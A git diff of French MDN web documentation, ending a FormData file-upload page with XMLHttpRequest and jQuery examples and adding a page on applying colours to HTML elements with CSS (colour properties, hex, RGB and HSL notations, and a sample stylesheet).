+<p>Vous pouvez aussi envoyer des fichiers en utilisant <code>FormData</code>. Il suffit d'inclure un élément {{ HTMLElement("input") }} de type "file" :</p>
+
+<pre class="brush: html">&lt;form enctype="multipart/form-data" method="post" name="fileinfo"&gt;
+  &lt;label&gt;Your email address:&lt;/label&gt;
+  &lt;input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /&gt;&lt;br /&gt;
+  &lt;label&gt;Custom file label:&lt;/label&gt;
+  &lt;input type="text" name="filelabel" size="12" maxlength="32" /&gt;&lt;br /&gt;
+  &lt;label&gt;File to stash:&lt;/label&gt;
+  &lt;input type="file" name="file" required /&gt;
+  &lt;input type="submit" value="Stash the file!" /&gt;
+&lt;/form&gt;
+&lt;div id="output"&gt;&lt;/div&gt;
+</pre>
+
+<p>Vous pouvez ensuite l'envoyer en utilisant un code semblable à celui-ci :</p>
+
+<pre class="brush: js">var form = document.forms.namedItem("fileinfo");
+form.addEventListener('submit', function(ev) {
+
+  var
+    oOutput = document.getElementById("output"),
+    oData = new FormData(document.forms.namedItem("fileinfo"));
+
+  oData.append("CustomField", "This is some extra data");
+
+  var oReq = new XMLHttpRequest();
+  oReq.open("POST", "stash.php", true);
+  oReq.onload = function(oEvent) {
+    if (oReq.status == 200) {
+      oOutput.innerHTML = "Uploaded!";
+    } else {
+      oOutput.innerHTML = "Error " + oReq.status + " occurred uploading your file.&lt;br \/&gt;";
+    }
+  };
+
+  oReq.send(oData);
+  ev.preventDefault();
+}, false);
+</pre>
+
+<div class="note">
+<p><strong>Remarque </strong>: si vous passez une référence au formulaire, la méthode spécifiée dans le formulaire sera utilisée en remplacement de celle précisée dans l'appel à open().</p>
+</div>
+
+<div class="note">
+<p><strong>Remarque </strong>: Cet exemple redirige les données en sortie vers un script PHP sur le serveur, et gère les erreurs HTTP, quoique d'une manière peu élégante.</p>
+</div>
+
+<p>Vous pouvez aussi ajouter un {{ domxref("File") }} ou un  {{ domxref("Blob") }} directement à l'objet {{ domxref("XMLHttpRequest/FormData", "FormData") }}, comme ceci :</p>
+
+<pre class="brush: js">data.append("myfile", myBlob, "filename.txt");
+</pre>
+
+<p>Lorsque la méthode <code>append</code> est utilisée, il est possible de renseigner le troisième paramètre optionnel pour passer un nom de fichier à l'en-tête <code>Content-Disposition</code> qui est envoyée au serveur. Si aucun nom de fichier n'est spécifié (ou si le paramètre n'est pas supporté,) le nom "blob" est utilisé.</p>
+
+<p>Vous pouvez aussi utiliser <code>FormData</code> avec jQuery si vous configurez les bonnes options :</p>
+
+<pre class="brush: js">var fd = new FormData(document.getElementById("fileinfo"));
+fd.append("CustomField", "This is some extra data");
+$.ajax({
+  url: "stash.php",
+  type: "POST",
+  data: fd,
+  processData: false,  // indique à jQuery de ne pas traiter les données
+  contentType: false   // indique à jQuery de ne pas configurer le contentType
+});
+</pre>
+
+<h2 id="Soumettre_des_formulaires_et_téléverser_des_fichiers_via_AJAX_sans_objets_FormData">Soumettre des formulaires et téléverser des fichiers via AJAX <em>sans</em> <code>objets FormData</code></h2>
+
+<p>Si vous souhaitez savoir comment sérialiser et soumettre via <a href="/en-US/docs/AJAX" title="/en-US/docs/AJAX">AJAX</a> un formulaire<em> sans</em> utiliser d'objets FormData, veuillez consulter <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">ce paragraphe</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/HTMLFormElement" title="/en-US/docs/DOM/HTMLFormElement"><code>HTMLFormElement</code></a></li>
+ <li><a href="/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob"><code>Blob</code></a></li>
+ <li><a href="/en-US/docs/JavaScript/Typed_arrays" title="/en-US/docs/JavaScript/Typed_arrays">Typed Arrays</a></li>
+</ul>
diff --git a/files/fr/web/html/appliquer_des_couleurs/index.html b/files/fr/web/html/appliquer_des_couleurs/index.html
new file mode 100644
index 0000000000..58015bad66
--- /dev/null
+++ b/files/fr/web/html/appliquer_des_couleurs/index.html
@@ -0,0 +1,506 @@
+---
+title: Appliquer des couleurs sur des éléments HTML grâce à CSS
+slug: Web/HTML/Appliquer_des_couleurs
+tags:
+  - CSS
+  - Débutant
+  - Guide
+  - HTML
+translation_of: Web/HTML/Applying_color
+---
+<div>{{HTMLRef}}</div>
+
+<p>La couleur fait partie intégrante des moyens d'expressions. Lorsqu'on écrit un site web, il est naturel d'y ajouter des couleurs dans la mise en forme. Avec <a href="/fr/docs/Web/CSS">CSS</a>, il existe de nombreuses façons d'ajouter de la couleur aux <a href="/fr/docs/Web/HTML">éléments HTML</a> afin d'obtenir le résultat souhaité. Cet article est une introduction détaillée aux différentes méthodes permettant d'appliquer des couleurs CSS en HTML.</p>
+
+<p>L'ajout de couleur à un document HTML s'avère assez simple et permet de colorer presque tous les éléments.</p>
+
+<p>Nous allons voir ici la liste de ce qui peut être coloré, la liste des propriétés CSS impliquées, les différentes façons de décrire une couleur, comment utiliser des couleurs dans les feuilles de style et dans les scripts. Nous verrons également comment permettre à un utilisateur de sélectionner une couleur.</p>
+
+<p>Enfin, nous verrons comment utiliser les bonnes couleurs, en gardant à l'esprit les différentes notions d'accessibilité.</p>
+
+<h2 id="Ce_qui_peut_être_coloré">Ce qui peut être coloré</h2>
+
+<p>On peut appliquer une couleur sur chaque élément HTML. Voyons plutôt quels sont les choses que l'on peut dessiner sur les éléments : le texte, la bordure, etc. Pour chacune de ces choses, nous verrons la liste des propriétés CSS qui permettent de les colorer.</p>
+
+<p>De façon générale, la propriété {{cssxref("color")}} permet de définir la couleur de premier plan pour le contenu d'un élément HTML et la propriété {{cssxref("background-color")}} permete de définir la couleur utilisé pour l'arrière-plan de l'élément. Ces propriétés peuvent être utilisées sur la quasi-totalité des éléments HTML.</p>
+
+<h3 id="Texte">Texte</h3>
+
+<p>Lorsqu'un élément est affiché à l'écran, les propriétés suivantes déterminent la couleur du texte, celle de son arrière-plan et celle des décorations.</p>
+
+<dl>
+ <dt>{{cssxref("color")}}</dt>
+ <dd>Cette propriété correspondra à la couleur utilisée pour dessiner le texte ainsi que <a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte#Style_et_poids_de_police_transformation_et_décoration_de_texte">ses décorations</a> (tels que le soulignement, le surlingement, les rayures, etc.).</dd>
+ <dt>{{cssxref("background-color")}}</dt>
+ <dd>Cette propriété correspondra à la couleur utilisée en arrière-plan du texte.</dd>
+ <dt>{{cssxref("text-shadow")}}</dt>
+ <dd>Cette propriété permet d'ajouter un effet d'ombre au texte. Parmi les options de cette ombre, on a la couleur de base de l'ombre (qui participe au flou et qui est fusionnée avec l'arrière-plan selon les autres paramètres. Voir <a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte#Ombres_du_texte">ce paragraphe</a> pour en savoir plus.</dd>
+ <dt>{{cssxref("text-decoration-color")}}</dt>
+ <dd>Par défaut, les décorations du texte (le soulignement, les rayures, etc.) utilise la propriété <code>color</code> pour leurs couleurs. Il est cependant possible de passer outre cette valeur et de fournir une couleur différente avec la propriété <code>text-decoration-color</code>.</dd>
+ <dt>{{cssxref("text-emphasis-color")}}</dt>
+ <dd>Cette propriété correspondra à la couleur utilisée pour dessiner les symboles d'emphase utilisés à côté des caractères du texte. Ces symboles sont principalement utilisés dans des textes écrits dans des langues d'Asie orientale.</dd>
+ <dt>{{cssxref("caret-color")}}</dt>
+ <dd>Cette  propriété correspondra à la couleur utilisée pour dessiner le curseur de saisie de texte dans l'élément. Cette propriété est uniquement pertinente pour les éléments qui sont éditables (par exemple {{HTMLElement("input")}} et {{HTMLElement("textarea")}} ou les éléments dont l'attribut {{htmlattrxref("contenteditable")}} est activé).</dd>
+</dl>
+
+<h3 id="Boîtes">Boîtes</h3>
+
+<p>Chaque élément est une boîte avec du contenu. Cette boîte possède un arrière-plan et une bordure, quel que soit le contenu qu'elle renferme</p>
+
+<dl>
+ <dt>{{anch("Bordures")}}</dt>
+ <dd>Voir la section {{anch("Bordures")}} pour la liste des propriétés CSS qui peuvent être utilisées pour colorer la bordure d'une boîte.</dd>
+ <dt>{{cssxref("background-color")}}</dt>
+ <dd>Cette propriété correspondra à la couleur d'arrière-plan, utilisée dans les zones où l'élément ne possède pas de contenu au premier plan.</dd>
+ <dt>{{cssxref("column-rule-color")}}</dt>
+ <dd>Cette propriété correspondra à la couleur utilisée pour dessiner la ligne qui sépare des colonnes de texte.</dd>
+ <dt>{{cssxref("outline-color")}}</dt>
+ <dd>Cette propriété correspondra à la couleur utilisée pour le contour de l'élément. Le contour est différent de la bordure car il occupe un espace autour de la boîte et peut alors chevaucher le contenu d'une autre boîte. Le contour est généralement utilisé afin d'indiquer que l'élément a le focus et ainsi montrer quel élément reçoit les évènements de saisie.</dd>
+</dl>
+
+<h3 id="Bordures">Bordures</h3>
+
+<p>Tout élément possède une <a href="/fr/docs/Learn/CSS/Styling_boxes/Borders">bordure</a> dessinée autour. Une bordure simple est représentée par une ligne dessinant un rectangle autour du contenu de l'élément. Vous pouvez lire <a href="/fr/docs/Learn/CSS/Styling_boxes/Borders">la mise en forme des bordures grâce à CSS</a> afin d'approfondir ce sujet.</p>
+
+<p>Il est possible d'utiliser la propriété raccourcie {{cssxref("border")}} qui permet de configurer l'ensemble des caractéristiques d'une bordure en une seule règle (y compris les caractéristiques qui ne sont pas liées aux couleurs comme <a href="/fr/docs/Web/CSS/border-width">la largeur</a>, <a href="/fr/docs/Web/CSS/border-style">le style</a> (ligne pleine, pointillés, etc.) et ainsi de suite).</p>
+
+<dl>
+ <dt>{{cssxref("border-color")}}</dt>
+ <dd>Cette propriété correspondra à la couleur qui sera utilisée pour chacun des côtés de la bordure.</dd>
+ <dt>{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, {{cssxref("border-bottom-color")}}</dt>
+ <dd>Ces propriétés permettent d'indiquer une couleur différente pour chaque côté de la bordure de l'élément.</dd>
+ <dt>{{cssxref("border-block-start-color")}} et {{cssxref("border-block-end-color")}}</dt>
+ <dd>Ces propriétés permettent de définir les couleurs utilisées pour les côtés de la bordure dans l'axe orthogonal au sens d'écriture. Ainsi, si le texte est écrit en français (de gauche à droite), <code>border-block-start-color</code> permettra de définir le côté haut de la bordure et <code>border-block-end-color</code> le côté bas.</dd>
+ <dt>{{cssxref("border-inline-start-color")}} et {{cssxref("border-inline-end-color")}}</dt>
+ <dd>Ces propriétés permettent de définir les couleurs utilisées pour les bordures pour les côtés sur l'axe du sens d'écriture. Les côtés impactés dépendent donc des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} qui permettent, la plupart du temps, d'ajuster la directionnalité du texte en fonction de la langue utilisée. Si le texte est écrit de droite à gauche, <code>border-inline-start-color</code> correspondra à la couleur appliquée sur le côté droit.</dd>
+</dl>
+
+<h3 id="Les_autres_méthodes_pour_utiliser_de_la_couleur">Les autres méthodes pour utiliser de la couleur</h3>
+
+<p>CSS n'est pas la seule technologie web qui gère des couleurs. Voici les autres technologies qui permettent d'apporter de la couleur sur une page web.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/Canvas_API">L'API Canvas</a></dt>
+ <dd>Cette API permet de dessiner des graphiques matriciels en deux dimensions à l'intérieur d'un élément {{HTMLElement("canvas")}}. Vous pouvez lire <a href="/fr/docs/Tutoriel_canvas">le tutoriel sur l'API Canvas</a> pour en savoir plus.</dd>
+ <dt><a href="/fr/docs/Web/SVG">SVG</a> (<em>Scalable Vector Graphics</em>)</dt>
+ <dd>Ce format permet de dessiner des images en indiquant des commandes pour dessiner des formes, des motifs et des lignes afin de composer une image. Les commandes SVG sont construites dans un fichier XML et peuvent être embarquées dans une page web grâce à un élément {{HTMLElement("img")}}.</dd>
+ <dt><a href="/fr/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>L'API Web Graphics Library est une API basée sur OpenGL ES qui permet de dessiner en deux ou trois dimensions sur le Web. Voir <a href="/fr/docs/Web/API/WebGL_API/Tutorial">Apprendre WebGL pour les graphismes en 2D et 3D</a> afin d'en savoir plus.</dd>
+</dl>
+
+<h2 id="Comment_décrire_une_couleur">Comment décrire une couleur</h2>
+
+<p>Afin de représente une couleur en CSS, il est nécessaire de trouver une méthode pour « traduire » le concept analogique de couleur dans un format numérique qu'un ordinateur pourra utiliser. Pour ce faire, on décompose la couleur en différentes composantes. Cela peut être la part de chaque couleur primaire ou bien la teinte et la luminosité de la couleur. Bref, il existe différentes façons de décrire une couleur en CSS.</p>
+
+<p>Pour des informations plus détaillées sur chaque type de valeur, vous pouvez consulter la page de la référence CSS à propos de l'unité {{cssxref("&lt;color&gt;")}}.</p>
+
+<h3 id="Mots-clés">Mots-clés</h3>
+
+<p>Un ensemble standard de noms de couleurs a été défini et il est possible d'utiliser l'un de ces mots-clés plutôt qu'une représentation numérique s'il existe un mot-clé pour la valeur qu'on souhaite utiliser. Les mots-clés désignant les couleurs regroupent les couleurs primaires et secondaires (tels que<code>red</code> pour rouge, <code>blue</code> pour bleu, <code>orange</code>), les tons de gris (allant de <code>black</code> pour noir à  <code>white</code> pour blanc et incluant des niveaux tels que <code>darkgray</code> (gris foncé) et <code>lightgrey</code> (gris clair)). D'autres couleurs sont également disponibles avec un mot-clé comme <code>lightseagreen</code>, <code>cornflowerblue</code> ou <code>rebeccapurple</code>.</p>
+
+<p>Vous pouvez consulter <a href="/fr/docs/Web/CSS/Type_color#Les_mots-clés">cette liste</a> pour connaître l'ensemble des mots-clés disponibles.</p>
+
+<h3 id="Valeurs_RGB">Valeurs RGB</h3>
+
+<p>Il existe trois façons de représenter une couleur RGB en CSS.</p>
+
+<h4 id="La_notation_hexadécimale">La notation hexadécimale</h4>
+
+<p>On peut utiliser une chaîne de caractères avec des chiffres hexadécimaux afin de représenter chacune des composantes (rouge, verte, bleue). On peut également décrire une quatrième composante pour l'opacité. Chaque composante est représentée par un nombre entre 0 et 255 (ce qui correspond à 0x00 et 0xFF en notation hexadécimale) ou par un nombre entre 0 et 15 (ce qui correspond à 0x0 et 0xF en notation hexadécimale). Toutes les composantes doivent être indiquées avec le même nombre de chiffres. Si c'est la notation à un seul chiffre qui est utilisée, la couleur finale sera calculée avec chaque composante doublée, autrement dit, <code>"#D"</code> sera converti en <code>"#DD"</code>.</p>
+
+<p>Lorsqu'on utilise une chaîne de caractères avec un code hexadécimale, la chaîne de caractères commence toujours par le caractère <code>"#"</code>. Le reste de la chaîne correspond aux chiffres hexadécimaux. L'utilisation des majuscules ou minuscules n'a pas d'importance.</p>
+
+<dl>
+ <dt><code>"#rrggbb"</code></dt>
+ <dd>Cette forme indique une couleur opaque dont les deux premiers chiffres hexadécimaux indiquent la composante rouge (<code>0xrr</code>), les deux chiffres suivants indiquent la composante verte (<code>0xgg</code>) et les deux derniers chiffres indiquent la composante bleue (<code>0xbb</code>).</dd>
+ <dt><code>"#rrggbbaa"</code></dt>
+ <dd>Cette forme indique une couleur dont les deux premiers chiffres hexadécimaux indiquent la composante rouge (<code>0xrr</code>), les deux chiffres suivants indiquent la composante verte (<code>0xgg</code>), les deux chiffres suivants indiquent la composante bleue (<code>0xbb</code>), enfin, les deux derniers chiffres indiquent la composante alpha (<code>0xaa</code>) utilisée pour indiquer l'opacité de la couleur (plus la valeur est faible, plus la couleur est transparente).</dd>
+ <dt><code>"#rgb"</code></dt>
+ <dd>Cette forme indique une couleur dont la composante rouge vaut <code>0xrr</code>, la composante verte vaut <code>0xgg</code> et dont la composante bleue vaut <code>0xbb</code>.</dd>
+ <dt><code>"#rgba"</code></dt>
+ <dd>Cette forme indique une couleur dont la composante rouge vaut <code>0xrr</code>, la composante verte vaut <code>0xgg</code> et dont la composante bleue vaut <code>0xbb</code>. Le canal alpha vaut <code>0xaa</code> (plus la valeur est faible, plus la couleur sera transparente).</dd>
+</dl>
+
+<p>Par exemple, on pourra représenter un bleu pur et opaque avec les chaînes de caractères <code>"#0000ff"</code> ou <code>"#00f"</code>. Pour le rendre opaquee à 25%, on utilisera <code>"#0000ff44"</code> ou <code>"#00f4"</code>.</p>
+
+<h4 id="La_notation_fonctionnelle_RGB">La notation fonctionnelle RGB</h4>
+
+<p>La notation fonctionnelle RGB permet, comme les chaînes de caractères hexadécimales, de représenter des couleurs avec leurs composantes rouge, verte, bleue et éventuellement avec une composante alpha pour l'opacité. Toutefois, au lieu d'utiliser une chaîne de caractères, on utilise ici la fonction CSS {{cssxref("Type_color","rgb()","#rgb()")}}. Cette fonction prend trois arguments pour chacune des composantes (dans cet ordre) rouge, verte et bleue. Un quatrième paramètre, optionnel, permet d'indiquer la valeur du canal alpha.</p>
+
+<p>Voici les valeurs qui peuvent être utilisées pour chacun de ces paramètres :</p>
+
+<dl>
+ <dt><code>red</code>, <code>green</code> et <code>blue</code></dt>
+ <dd>Chaque composante doit être un entier (type {{cssxref("&lt;integer&gt;")}}) compris entre 0 et 255 (inclus) ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}}) compris entre 0% et 100%.</dd>
+ <dt><code>alpha</code></dt>
+ <dd>Le canal alpha est un nombre entre 0.0 (la couleur est alors totalement transparente) et 1.0 (complètement opaque). On peut également utiliser un pourcentage où 0% correspondra à la valeur 0.0 et 100% correspondra à la valeur 1.0.</dd>
+</dl>
+
+<p>Par exemple, on pourra représenter un rouge pur à moitié opaque grâce à <code>rgb(255, 0, 0, 0.5)</code> ou grâce à <code>rgb(100%, 0, 0, 50%)</code>.</p>
+
+<h3 id="La_notation_fonctionnelle_HSL">La notation fonctionnelle HSL</h3>
+
+<p>D'autres personnes préfèrent manipuler <a href="https://fr.wikipedia.org/wiki/Teinte_saturation_luminosit%C3%A9">la notation HSL ou aussi appeléee « Teinte saturation luminosité »</a> (NDT : HSL signifie <em>Hue Saturation Lightness</em> en anglais). Sur le Web, les couleurs HSL sont représentées grâce à la notation fonctionnelle <code>hsl()</code> (qui fonctionne de façon analogue à la fonction <code>rgb()</code>).</p>
+
+<div style="padding-bottom: 20px;">
+<figure style="width: 500px;"><img alt="HSL color cylinder" src="https://mdn.mozillademos.org/files/15445/1200px-HSL_color_solid_cylinder_alpha_lowgamma.png" style="height: 375px; width: 500px;">
+<figcaption><em><strong>Figure 1. Le cylindre HSL.</strong> Hue (la teinte) définit la couleur sur un axe radial qui parcourt les couleurs du spectre visible. La saturation est un pourcentage de la teinte entre un gris total et la couleur de la teinte vive. Enfin, la luminosité permet d'avoir des couleurs plus sombres (noir pour une luminosité nulle ou blanc pour une luminosité maximale). Cette image a été créée par <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a> sur <a href="https://www.wikipedia.org/">Wikipédia</a> et est distribuée avec la licence <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a>.</em></figcaption>
+</figure>
+</div>
+
+<p>La valeur de la teinte (<strong>H</strong>) est un angle qui début au rouge, parcourt le jaune, le vert, le cyan, le bleu et le magenta (avant de revenir à rouge avec un angle de 360°). Cette valeur identifie la teinte de base. La valeur utilisée est de type {{cssxref("&lt;angle&gt;")}} et on peut utiliser différentes unités disponibles en CSS comme les degrés (<code>deg</code>), les radians (<code>rad</code>), les grades (<code>grad</code>) ou les tours (<code>turn</code>).</p>
+
+<p>Ensuite, la saturation (<strong>S</strong>) indique la force de la teinte dans la couleur. Enfin, la luminosité (<strong>L</strong>) indique le niveau de gris de la couleur.</p>
+
+<p>On peut faire une analogie avec la conception d'une couleur pour une peinture :</p>
+
+<ol>
+ <li>On commence avec une peinture de base qui possède l'intensité la plus forte pour une couleur donnée (par exemple, le bleu le plus intense qui puisse être affiché) : c'est la teinte (<em>hue</em>) (<strong>H</strong>). En CSS, c'est un angle qui détermine la couleur parmi une roue de couleurs.</li>
+ <li>Ensuite, on choisit une peinture avec un niveau de gris qui la force de la couleur. Est-ce qu'on veut qu'elle soit claire ou sombre, voire complètement noire ? C'est la luminosité (<strong>L</strong>). En CSS, c'est un pourcentage, 0% indiquant une couleur noire et 100% une couleur blanche.</li>
+ <li>Enfin, avec ces deux peintures, on décide de la proportion de chacune pour le mélange final : c'est la saturation (<strong>S</strong>). Plus cette valeur est élevée, plus on utilise la couleur de base, plus cette valeur est faible et plus on utilise la peinture grise.</li>
+</ol>
+
+<p>Il est également possible d'ajouter un canal alpha afin d'avoir une couleur partiellement (ou totalement) transparente.</p>
+
+<p>Voici quelques exemples utilisant la notation HSL :</p>
+
+<div id="hsl-swatches">
+<div class="hidden">
+<pre class="brush: css">table {
+  border: 1px solid black;
+  font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+  border-spacing: 0;
+  border-collapse: collapse;
+}
+
+th, td {
+  border: 1px solid black;
+  padding:4px 6px;
+  text-align: left;
+}
+
+th {
+  background-color: hsl(0, 0%, 75%);
+}</pre>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;thead&gt;
+  &lt;tr&gt;
+   &lt;th scope="col"&gt;Couleur en notation HSL&lt;/th&gt;
+   &lt;th scope="col"&gt;Exemple&lt;/th&gt;
+  &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(90deg, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(90deg, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(90, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(90, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 50%, 75%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 50%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 75%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 90%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(270deg, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(270deg, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("hsl-swatches", 300, 260)}}</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Il est possible d'omettre l'unité pour la valeur de la teinte (<em>hue</em>), l'unité par défaut utilisée sera alors les degrés (<code>deg</code>).</p>
+</div>
+
+<h2 id="Utiliser_les_couleurs">Utiliser les couleurs</h2>
+
+<p>Maintenant qu'on connaît les différentes propriétés CSS, comment décrire une couleur et dans quel format, on peut assembler cela pour utiliser les couleurs dans un document web. Comme on l'a vu précédemment, de nombreuses choses peuvent être colorées. Pour ce faire, on peut utiliser deux mécanismes : une « <strong>feuille de style</strong> » et du code JavaScript pour modifier et ajouter des couleurs dynamiquement.</p>
+
+<h3 id="Indiquer_les_couleurs_via_une_feuille_de_style">Indiquer les couleurs via une feuille de style</h3>
+
+<p>La façon la plus simple (et la plus fréquemment utilisée) pour appliquer des couleurs est d'utiliser une feuille de style CSS qui sera traitée par le navigateur au moment d'afficher les éléments à l'écran. Par la suite, nous verrons plusieurs exemples (sans pour autant exploiter toutes ces propriétés).</p>
+
+<p>Prenons un exemple et commençons par le résultat :</p>
+
+<div>{{EmbedLiveSample("Indiquer_les_couleurs_via_une_feuille_de_style", 650, 150)}}</div>
+
+<h4 id="HTML">HTML</h4>
+
+<p>Voici le fragment de code HTML utilisé pour cet exemple :</p>
+
+<pre class="brush: html">&lt;div class="conteneur"&gt;
+  &lt;div class="boite boiteGauche"&gt;
+    &lt;p&gt;
+      Voici la première boîte.
+    &lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div class="boite boiteDroite"&gt;
+    &lt;p&gt;
+      Voici la seconde boîte.
+    &lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>Ce fragment est plutôt simple : on utilise un élément {{HTMLElement("div")}} qui enveloppe le contenu, constitué de deux <code>&lt;div&gt;</code>, chacun avec une classe différente et contenant chacun un paragraphe (c'est-à-dire un élément {{HTMLElement("p")}}).</p>
+
+<p>Voyons ensuite la feuille de style CSS appliquée au bloc HTML précédent.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<p>Nous allons ici étudier la feuille de style en la décomposant, partie par partie.</p>
+
+<pre class="brush: css">.conteneur {
+  width: 620px;
+  height: 110px;
+  margin: 0;
+  padding: 10px;
+  border: 6px solid mediumturquoise;
+}</pre>
+
+<p>Le sélecteur de classe <code>.conteneur</code> permet d'appliquer des styles à l'élément {{HTMLElement("div")}} qui enveloppe le reste du contenu. Pour ce style, on indique une largeur avec la propriété {{cssxref("width")}} et une hauteur avec la propriété {{cssxref("height")}}, on définit aussi une marge et une zone de remplissage avec {{cssxref("margin")}} et {{cssxref("padding")}}.</p>
+
+<p>La règle la plus intéressante est celle où on manipule la propriété {{cssxref("border")}} afin de dessiner une bordure sur l'extérieur de l'élément. Cette bordure sera une ligne pleine de 6 pixels avec la couleur <code>mediumturquoise</code>.</p>
+
+<p>Les deux boîtes colorées possèdent un certain nombre de propriétés communes. On utilise donc une classe : <code>.boite</code> pour laquelle on définit ces propriétés qui seront appliquées sur les deux éléments :</p>
+
+<pre class="brush: css">.boite {
+  width: 290px;
+  height: 100px;
+  margin: 0;
+  padding: 4px 6px;
+  font: 28px "Marker Felt", "Zapfino", cursive;
+  display: flex;
+  justify-content: center;
+  align-items: center;
+}</pre>
+
+<p>Pour résumer, les styles ciblés par <code>.boite</code> indiquent la taille de la boîte, la configuration de la police de caractères utilisée, centrent le contenu des boîtes grâce <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS">aux boîtes flexibles CSS</a>. Pour cela, on utilise le mode d'affichage <code>flex</code> avec {{cssxref("display", "display: flex")}} et on paramètre les propriétés {{cssxref("justify-content")}} et {{cssxref("align-items")}} avec la valeur <code>center</code>. Ensuite, on crée une classe pour chacune des deux boîtes dont chacune définit les propriétés qui diffèrent entre ces éléments.</p>
+
+<pre class="brush: css">.boiteGauche {
+  float: left;
+  background-color: rgb(245, 130, 130);
+  outline: 2px solid darkred;
+}</pre>
+
+<p>La classe <code>.boiteGauche</code> permet de mettre en forme la boîte située à gauche et on l'utilise pour définir certaines couleurs :</p>
+
+<ul>
+ <li>La couleur de l'arrière-plan est définie grâce à la propriété {{cssxref("background-color")}} pour laquelle on fournit la valeur <code>rgb(245, 130, 130)</code>.</li>
+ <li>Un contour est défini autour de la boîte grâce à la propriété {{cssxref("outline")}}. Ici, ce contour est une ligne pleine, rouge foncée (le mot-clé <code>darkred</code>) de deux pixels.</li>
+ <li>On notera ici qu'on ne définit pas de couleur pour le texte. La valeur qui sera utilisée pour la propriété {{cssxref("color")}} sera celle qui est héritée par le plus proche élément englobant qui définit cette propriété. La couleur par défaut est le noir.</li>
+</ul>
+
+<pre class="brush: css">.boiteDroite {
+  float: right;
+  background-color: hsl(270deg, 50%, 75%);
+  outline: 4px dashed rgb(110, 20, 120);
+  color: hsl(0deg, 100%, 100%);
+  text-decoration: underline wavy #88ff88;
+  text-shadow: 2px 2px 3px black;
+}</pre>
+
+<p>Enfin, la classe <code>.boiteDroite</code> décrit les propriétés de la boîte dessinée à droite. On configure cette boîte afin qu'elle flotte à droite de la boîte précédente. Ensuite, on paramètre les couleurs suivantes :</p>
+
+<ul>
+ <li>La propriété <code>background-color</code> est définie avec la notation fonctionnelle HSL : <code>hsl(270deg, 50%, 75%)</code>. Cela correspond à un violet.</li>
+ <li>La propriété <code>outline</code> permet d'indiquer un contour de 4 pixels formé par une ligne pointillée dont la couleur est exprimée avec la notation fonctionnelle RGB <code>rgb(110, 20, 120)</code> (violet foncé).</li>
+ <li>La couleur de premier plan (c'est-à-dire celle utilisée pour le texte) est définie avec la propriété {{cssxref("color")}} et la valeur <code>hsl(0deg, 100%, 100%)</code> qui correspond au blanc.</li>
+ <li>On ajoute une ligne verte ondulée sous le texte avec {{cssxref("text-decoration")}}.</li>
+ <li>Enfin, on ajoute une ombre au texte avec la propriété {{cssxref("text-shadow")}} dont le paramètre de couleur vaut <code>black</code> (noir).</li>
+</ul>
+
+<h2 id="Permettre_à_l'utilisateur_de_choisir_une_couleur">Permettre à l'utilisateur de choisir une couleur</h2>
+
